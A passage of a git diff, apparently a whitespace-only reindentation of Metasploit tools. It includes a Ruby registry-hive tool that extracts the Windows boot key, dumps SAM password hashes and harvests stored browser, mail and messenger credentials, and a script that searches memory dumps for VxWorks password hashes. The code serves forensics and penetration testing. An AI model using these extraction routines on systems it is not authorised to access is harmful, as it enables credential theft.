print_all_values(current_version_info_key) + puts "-----------------------------------------" if current_version_info_key - print_all_values(login_info_key) - puts "-----------------------------------------" if login_info_key - end + print_all_values(login_info_key) + puts "-----------------------------------------" if login_info_key + end end def get_user_information - local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") - local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") + local_groups_info_key = @hive.relative_query("\\SAM\\Domains\\Builtin\\Aliases\\Names") + local_users_info_key = @hive.relative_query("\\SAM\\Domains\\Account\\Users\\Names") - print_all(local_groups_info_key) - puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children + print_all(local_groups_info_key) + puts "------------------------------------------------" if local_groups_info_key && local_groups_info_key.lf_record.children - print_all(local_users_info_key) - puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children + print_all(local_users_info_key) + puts "------------------------------------------------" if local_users_info_key && local_groups_info_key.lf_record.children end def dump_creds @@ -120,45 +120,45 @@ def dump_creds def get_boot_key - return if !@hive.root_key - return if !@hive.root_key.name + return if !@hive.root_key + return if !@hive.root_key.name - puts "Getting boot key" - puts "Root key: " + @hive.root_key.name + puts "Getting boot key" + puts "Root key: " + @hive.root_key.name - default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first + default_control_set = @hive.value_query('\Select\Default').value.data.unpack("c").first - puts "Default ControlSet: ControlSet00#{default_control_set}" + puts "Default ControlSet: ControlSet00#{default_control_set}" - bootkey = "" - basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" + bootkey = "" + basekey = "\\ControlSet00#{default_control_set}\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @hive.relative_query(basekey + "\\" + k) - return nil if not ok + %W{JD Skew1 GBG Data}.each do |k| + ok = @hive.relative_query(basekey + "\\" + k) + return nil if not ok - tmp = "" - 0.upto(ok.class_name_length - 1) do |i| - next if i%2 == 1 + tmp = "" + 0.upto(ok.class_name_length - 1) do |i| + next if i%2 == 1 - tmp << ok.class_name_data[i,1] - end + tmp << ok.class_name_data[i,1] + end - bootkey << [tmp.to_i(16)].pack('V') - end + bootkey << [tmp.to_i(16)].pack('V') + end - keybytes = bootkey.unpack("C*") + keybytes = bootkey.unpack("C*") - descrambled = "" - # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambled = "" + # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - puts descrambled.unpack("H*") + puts descrambled.unpack("H*") end def list_applications @@ -169,108 +169,108 @@ def list_drivers def get_aol_instant_messenger_information - if @hive.hive_name != /NTUSER\.dat/i - users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') - last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") + if @hive.hive_name != /NTUSER\.dat/i + users_list_key = @hive.relative_query('\Software\America Online\AOL Instant Messenger(TM)\CurrentVersion\Users') + last_logged_in_user_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Login - Screen Name") - print_all_keys(users_list_key) + print_all_keys(users_list_key) - users_list_key.lf_record.children.each do |screenname| - away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") - file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") - profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") - recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") + users_list_key.lf_record.children.each do |screenname| + away_messages_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\IAmGoneList") + file_xfer_settings_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Xfer") + profile_info_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\DirEntry") + recent_contacts_key = @hive.relative_query("\\Software\\America Online\\AOL Instant Messenger(TM)\\CurrentVersion\\Users\\#{screenname.name}\\Recent IM ScreenNames") - print_all(away_messages_key) - print_all(file_xfer_settings_key) - print_all(profile_info_key) - print_all(recent_contacts_key) - end + print_all(away_messages_key) + print_all(file_xfer_settings_key) + print_all(profile_info_key) + print_all(recent_contacts_key) + end - end + end end def get_msn_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") - file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NETMessengerService\\") + file_sharing_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\FileSharing - Autoshare") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\MSNMessenger\\ - FTReceiveFolder") - print_all(general_information_key) - print_all(file_sharing_information_key) - print_all(file_transfers_information_key) - end + print_all(general_information_key) + print_all(file_sharing_information_key) + print_all(file_transfers_information_key) + end end def get_windows_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") - file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") - last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") - - print_all(contact_list_information_key) - print_all(file_transfers_information_key) - print_all(last_user_information_key) - end + if @hive.hive_name =~ /NTUSER\.dat/i + contact_list_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service") + file_transfers_information_key = @hive.relative_query("\\Software\\Microsoft\\Messenger Service - FtReceiveFolder") + last_user_information_key = @hive.relative_query("\\Software\\Microsoft\\MessengerService\\ListCache\\.NET Messenger Service - IdentityName") + + print_all(contact_list_information_key) + print_all(file_transfers_information_key) + print_all(last_user_information_key) + end end def get_icq_information - if @hive.hive_name =~ /NTUSER\.dat/i - general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") - - print_all(general_information_key) - elsif @hive.hive_name =~ /SOFTWARE/ - owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") - print_all(owner_number_key) - end + if @hive.hive_name =~ /NTUSER\.dat/i + general_information_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ") + + print_all(general_information_key) + elsif @hive.hive_name =~ /SOFTWARE/ + owner_number_key = @hive.relative_query("\\Software\\Mirabalis\\ICQ\\Owner") + print_all(owner_number_key) + end end def get_ie_information - if @hive.hive_name =~ /NTUSER\.dat/i - stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") - stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") - ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") - history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") - typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") - intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") - autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") - default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") - - print_all(stored_logon_information_key) - print_all(stored_search_terms_information_key) - print_all(ie_setting_information_key) - print_all(typed_urls_information_key) - print_all(intelliforms_information_key) - print_all(autocomplete_web_addresses_key) - print_all(default_download_dir) - - puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array - end + if @hive.hive_name =~ /NTUSER\.dat/i + stored_logon_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Internet Explorer\\Internet Explorer - URL:StringData") + stored_search_terms_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage SystemProvider\\SID\\Internet Explorer\\Internet Explorer - q:SearchIndex") + ie_setting_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Main") + history_length_value_key = @hive.value_query("\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\URL History - DaysToKeep") + typed_urls_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Typed URLs") + intelliforms_information_key = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer\\Intelliforms") + autocomplete_web_addresses_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider") + default_download_dir = @hive.relative_query("\\Software\\Microsoft\\Internet Explorer") + + print_all(stored_logon_information_key) + print_all(stored_search_terms_information_key) + print_all(ie_setting_information_key) + print_all(typed_urls_information_key) + print_all(intelliforms_information_key) + print_all(autocomplete_web_addresses_key) + print_all(default_download_dir) + + puts "Days saved in history: " + history_length_value_key.value.data.to_s if !history_length_value_key.kind_of? Array + end end def get_outlook_information - if @hive.hive_name =~ /NTUSER\.dat/i - account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") + if @hive.hive_name =~ /NTUSER\.dat/i + account_information_key = @hive.relative_query("\\Software\\Microsoft\\Protected Storage System Provider\\SID\\Identification\\INETCOMM Server Passwords") - print_all(account_information_key) - end + print_all(account_information_key) + end end def get_yahoo_messenger_information - if @hive.hive_name =~ /NTUSER\.dat/i - profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") + if @hive.hive_name =~ /NTUSER\.dat/i + profiles_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles") - print_all(profiles_key) + print_all(profiles_key) - profiles_key.lf_record.children.each do |child| - file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") - message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") + profiles_key.lf_record.children.each do |child| + file_transfers_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\FileTransfer") + message_archiving_information_key = @hive.relative_query("\\Software\\Yahoo\\Pager\\profiles\\#{child.name}\\Archive") - print_all(file_transfers_information_key) - print_all(message_archiving_information_key) - end - end + print_all(file_transfers_information_key) + print_all(message_archiving_information_key) + end + end end def get_networking_information @@ -281,261 +281,261 @@ def get_user_application_information end if ARGV.length == 0 || ARGV[0] == "help" - no_args = %Q{ + no_args = %Q{ Usage: reg.rb Available commands: - query_key Query for more information about a specific node key - query_value Query for the value of a specific value key - get_boot_key Extract the boot key from the SYSTEM hive - dump_creds Dump the usernames and password hashes of the users from the SAM hive - list_applications List all the applications installed via the SOFTWARE hive - list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive - get_everything When pointed to a directory with hives, it will run all commands on all available hives - get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat - get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat - get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat - get_icq_information Get credentials and general information on ICQ users from NTUSER.dat - get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat - get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat - get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat - get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives - get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives - get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives - get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives - } - - puts no_args - exit + query_key Query for more information about a specific node key + query_value Query for the value of a specific value key + get_boot_key Extract the boot key from the SYSTEM hive + dump_creds Dump the usernames and password hashes of the users from the SAM hive + list_applications List all the applications installed via the SOFTWARE hive + list_drivers List all the devices and their respective drivers and driver versions from SYSTEM hive + get_everything When pointed to a directory with hives, it will run all commands on all available hives + get_aol_instant_messenger_information Get credentials and general information on AOL Instant Messenger users from NTUSER.dat + get_msn_messenger_information Get credentials and general information on MSN Messenger users from NTUSER.dat + get_windows_messenger_information Get credentials and general information on Windows Messenger users from NTUSER.dat + get_icq_information Get credentials and general information on ICQ users from NTUSER.dat + get_ie_information Get stored credentials, typed history, search terms, and general settings from NTUSER.dat + get_outlook_information Gets outlook and outlook express stored credentials and general information from NTUSER.dat + get_yahoo_messenger_information Gets credentials and general information on Yahoo! Messenger users from NTUSER.dat + get_system_information Gets general system administration from both SOFTWARE and SYSTEM hives + get_networking_information Gets networing information from the SAM, SYSTEM, and NTUSER.dat hives + get_user_information Gets general user information from the SYSTEM, SECURITY, SAM, and NTUSER.dat hives + get_user_application_information Gets user-specific application information from the NTUSER.DAT and SOFTWARE hives + } + + puts no_args + exit end case ARGV[0] when "query_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |arg| - selected = @hive.relative_query(ARGV[arg]) - print_all(selected) - end + 1.upto(ARGV.length - 2) do |arg| + selected = @hive.relative_query(ARGV[arg]) + print_all(selected) + end when "query_value" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - puts "Hive name: #{@hive.hive_name}" + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + puts "Hive name: #{@hive.hive_name}" - 1.upto(ARGV.length - 2) do |i| - selected = @hive.value_query(ARGV[i]) + 1.upto(ARGV.length - 2) do |i| + selected = @hive.value_query(ARGV[i]) - if !selected - puts "Value not found." - return - end + if !selected + puts "Value not found." + return + end - puts "Value Name: #{selected.name}" - puts "Value Data: #{selected.value.data.inspect}" - end + puts "Value Name: #{selected.name}" + puts "Value Data: #{selected.value.data.inspect}" + end when "get_boot_key" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." - else - get_boot_key - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive to grab the boot key, not a #{@hive.hive_name}." + else + get_boot_key + end when "dump_creds" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive, not a #{@hive.hive_name}" - else - dump_creds - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive, not a #{@hive.hive_name}" + else + dump_creds + end when "list_applications" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SOFTWARE/ - puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." - else - list_applications - end + if @hive.hive_name !~ /SOFTWARE/ + puts "I need a SOFTWARE hive, not a #{@hive.hive_name}." + else + list_applications + end when "list_drivers" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ - puts "I need a SYSTEM hive, not a #{@hive.hive_name}." - else - list_drivers - end + if @hive.hive_name !~ /SYSTEM/ + puts "I need a SYSTEM hive, not a #{@hive.hive_name}." + else + list_drivers + end when "get_everything" - Dir.foreach(ARGV[1]) do |file| - next if file =~ /^\./ - next if ::File.directory?(ARGV[1] + "/" + file) + Dir.foreach(ARGV[1]) do |file| + next if file =~ /^\./ + next if ::File.directory?(ARGV[1] + "/" + file) - @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) + @hive = Rex::Registry::Hive.new(ARGV[1] + "/" + file) - next if !@hive.hive_regf - next if !@hive.hive_name + next if !@hive.hive_regf + next if !@hive.hive_name - case @hive.hive_name + case @hive.hive_name - when /SYSTEM/ + when /SYSTEM/ - puts "Found a SYSTEM hive..." + puts "Found a SYSTEM hive..." - list_drivers - get_boot_key - get_system_information - get_networking_information - get_user_information + list_drivers + get_boot_key + get_system_information + get_networking_information + get_user_information - when /SOFTWARE/ + when /SOFTWARE/ - puts "Found a SOFTWARE hive..." + puts "Found a SOFTWARE hive..." - list_applications - get_icq_information - get_system_information - get_networking_information - get_user_information - get_user_application_information + list_applications + get_icq_information + get_system_information + get_networking_information + get_user_information + get_user_application_information - when /SAM/ + when /SAM/ - puts "Found a SAM hive..." + puts "Found a SAM hive..." - get_networking_information - get_user_information + get_networking_information + get_user_information - when /SECURITY/ + when /SECURITY/ - puts "Found a SECURITY hive..." + puts "Found a SECURITY hive..." - get_user_information + get_user_information - when /NTUSER\.dat/i + when /NTUSER\.dat/i - puts "Found a NTUSER.dat hive..." + puts "Found a NTUSER.dat hive..." - get_aol_instant_messenger_information - get_icq_information - get_ie_information - get_msn_messenger_information - get_outlook_information - get_windows_messenger_information - get_yahoo_messenger_information - get_networking_information - get_user_information - get_user_application_information + get_aol_instant_messenger_information + get_icq_information + get_ie_information + get_msn_messenger_information + get_outlook_information + get_windows_messenger_information + get_yahoo_messenger_information + get_networking_information + get_user_information + get_user_application_information - end + end end when "get_aol_instant_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.DAT/i - puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." - else - get_aol_instant_messenger_information - end + if @hive.hive_name !~ /NTUSER\.DAT/i + puts "I need the NTUSER.dat hive, not #{@hive.hive_name}." + else + get_aol_instant_messenger_information + end when "get_icq_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." - else - get_icq_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either a SOFTWARE or NTUSER.dat hive, not #{@hive.hive_name}." + else + get_icq_information + end when "get_ie_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_ie_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_ie_information + end when "get_msn_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_msn_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_msn_messenger_information + end when "get_outlook_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." - else - get_outlook_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not #{@hive.hive_name}." + else + get_outlook_information + end when "get_windows_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_windows_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_windows_messenger_information + end when "get_yahoo_messenger_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i - puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_yahoo_messenger_information - end + if @hive.hive_name !~ /NTUSER\.dat/i + puts "I need an NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_yahoo_messenger_information + end when "get_system_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ - puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." - else - get_system_information - end + if @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /SOFTWARE/ + puts "I need the SYSTEM or SOFTWARE hive, not #{@hive.hive_name}." + else + get_system_information + end when "get_networking_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i - puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." - else - get_networking_information - end + if @hive.hive_name !~ /SAM/ && @hive.hive_name !~ /SYSTEM/ && @hive.hive_name !~ /NTUSER\.dat/i + puts "I need either a SAM, SYSTEM, or NTUSER.dat hive, not a #{@hive.hive_name}." + else + get_networking_information + end when "get_user_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /SAM/ - puts "I need a SAM hive. Not a #{@hive.hive_name}." - else - get_user_information - end + if @hive.hive_name !~ /SAM/ + puts "I need a SAM hive. Not a #{@hive.hive_name}." + else + get_user_information + end when "get_user_application_information" - @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) + @hive = Rex::Registry::Hive.new(ARGV[ARGV.length - 1]) - if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ - puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." - else - get_user_application_information - end + if @hive.hive_name !~ /NTUSER\.dat/i && @hive.hive_name !~ /SOFTWARE/ + puts "I need either an NTUSER.dat or SOFTWARE hive, not a #{@hive.hive_name}." + else + get_user_application_information + end else - puts "Sorry invalid command, try with \"help\"" + puts "Sorry invalid command, try with \"help\"" end diff --git a/tools/verify_datastore.rb b/tools/verify_datastore.rb index c315c97903ab..38ffd6922e1c 100755 --- a/tools/verify_datastore.rb +++ b/tools/verify_datastore.rb @@ -17,8 +17,8 @@ infile = ARGV[0] unless(infile && File.readable?(infile)) - puts "Usage: #{$0} /path/to/module.rb" - exit(1) + puts "Usage: #{$0} /path/to/module.rb" + exit(1) end verbose = false @@ -42,21 +42,21 @@ # Declared datastore finder mod.each_line do |line| - next if line.match regex[:comment] - datastores = line.scan regex[:datastore] - datastores.each {|ds| referenced_datastores << ds[1]} + next if line.match regex[:comment] + datastores = line.scan regex[:datastore] + datastores.each {|ds| referenced_datastores << ds[1]} end # Referenced datastore finder in_opts = false mod.each_line do |line| - in_opts = true if line.match regex[:opts] - in_opts = false if line.match regex[:opts_end] - next unless in_opts - if line.match regex[:is_opt] - # Assumes only one! - declared_datastores[$2] ||= $1 - end + in_opts = true if line.match regex[:opts] + in_opts = false if line.match regex[:opts_end] + next unless in_opts + if line.match regex[:is_opt] + # Assumes only one! + declared_datastores[$2] ||= $1 + end end # Class and Mixin finder @@ -65,21 +65,21 @@ require 'msf/core' # Make sure this is in your path, or else all is for naught. mod.each_line do |line| - if line.match regex[:class] - $class = ObjectSpace.class_eval($1) - elsif line.match regex[:mixin] - mixin = $1 - begin - $mixins << ObjectSpace.module_eval(mixin) - rescue - puts "[-] Error including mixin: #{mixin}" - next - end - end + if line.match regex[:class] + $class = ObjectSpace.class_eval($1) + elsif line.match regex[:mixin] + mixin = $1 + begin + $mixins << ObjectSpace.module_eval(mixin) + rescue + puts "[-] Error including mixin: #{mixin}" + next + end + end end class Fakemod < $class - $mixins.each {|m| include m} + $mixins.each {|m| include m} end fakemod = Fakemod.new inhereted_datastores = fakemod.options.keys @@ -90,25 +90,25 @@ class Fakemod < $class unused_datastores = declared_datastores.keys - referenced_datastores if verbose - puts "[+] --- Referenced datastore keys for #{infile}" - referenced_datastores.uniq.sort.each {|ds| puts ds} - puts "[+] --- Declared datastore keys for #{infile}" - declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } + puts "[+] --- Referenced datastore keys for #{infile}" + referenced_datastores.uniq.sort.each {|ds| puts ds} + puts "[+] --- Declared datastore keys for #{infile}" + declared_datastores.keys.sort.each {|opt| puts "%-30s%s" % [opt, declared_datastores[opt]] } end unless undeclared_datastores.empty? - puts "[-] %-60s : fail (undeclared)" % [infile] - puts "[-] The following datastore elements are undeclared" if verbose - undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } + puts "[-] %-60s : fail (undeclared)" % [infile] + puts "[-] The following datastore elements are undeclared" if verbose + undeclared_datastores.uniq.sort.each {|opt| puts " \e[31m#{opt}\e[0m" } end unless unused_datastores.empty? - puts "[*] %-60s : warn (unused)" % [infile] - puts "[*] The following datastore elements are unused" if verbose - unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } + puts "[*] %-60s : warn (unused)" % [infile] + puts "[*] The following datastore elements are unused" if verbose + unused_datastores.uniq.sort.each {|opt| puts " \e[33m#{opt}\e[0m" } end if undeclared_datastores.empty? && unused_datastores.empty? - puts "[+] %-60s : okay" % [infile] + puts "[+] %-60s : okay" % [infile] end diff --git a/tools/vxdigger.rb b/tools/vxdigger.rb index f5784a8092a5..ceeb464c2a3a 100755 --- a/tools/vxdigger.rb +++ b/tools/vxdigger.rb @@ -13,13 +13,13 @@ # def usage - $stderr.puts "usage: #{$0} [dump-file] " - exit + $stderr.puts "usage: #{$0} [dump-file] " + exit end # Force binary encoding for Ruby versions that support it if(Object.const_defined?('Encoding') and Encoding.respond_to?('default_external=')) - Encoding.default_external = Encoding.default_internal = "binary" + Encoding.default_external = Encoding.default_internal = "binary" end dump = ARGV.shift || usage() @@ -29,11 +29,11 @@ def usage ohashes = [] hashes = [] File.read(list).split("\n").each do |x| - xid,enc,raw = x.split("|", 3) - xid = xid.to_i - next if raw =~ /invalid/ - raw,tmp = raw.split("\x00") - ohashes << [xid, enc, raw] + xid,enc,raw = x.split("|", 3) + xid = xid.to_i + next if raw =~ /invalid/ + raw,tmp = raw.split("\x00") + ohashes << [xid, enc, raw] end $stderr.puts "[*] Loading memory dump..." @@ -46,19 +46,19 @@ def usage tot = hashes.length cur = 0 hashes.each do |r| - x,k,h = r + x,k,h = r - cur += 1 - pct = cur/tot.to_f - pct = (pct * 100).to_i - $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") - $stdout.flush + cur += 1 + pct = cur/tot.to_f + pct = (pct * 100).to_i + $stdout.write(" \r[*] Progress: #{pct}% (#{cur}/#{tot})") + $stdout.flush - next if not data.index(k) - $stdout.write("\n") - $stdout.flush - puts "[+]" - puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" - puts "[+]" + next if not data.index(k) + $stdout.write("\n") + $stdout.flush + puts "[+]" + puts "[+] Password hash '#{k}' (##{x}) can be accessed with #{h.unpack("C*").map{|i| "\\x%.2x" % i}} [ '#{h}' ]" + puts "[+]" end diff --git a/tools/vxencrypt.rb b/tools/vxencrypt.rb index 7c8d7d392498..f9d709ee55a3 100755 --- a/tools/vxencrypt.rb +++ b/tools/vxencrypt.rb @@ -6,25 +6,25 @@ # def hashit(inp) - if 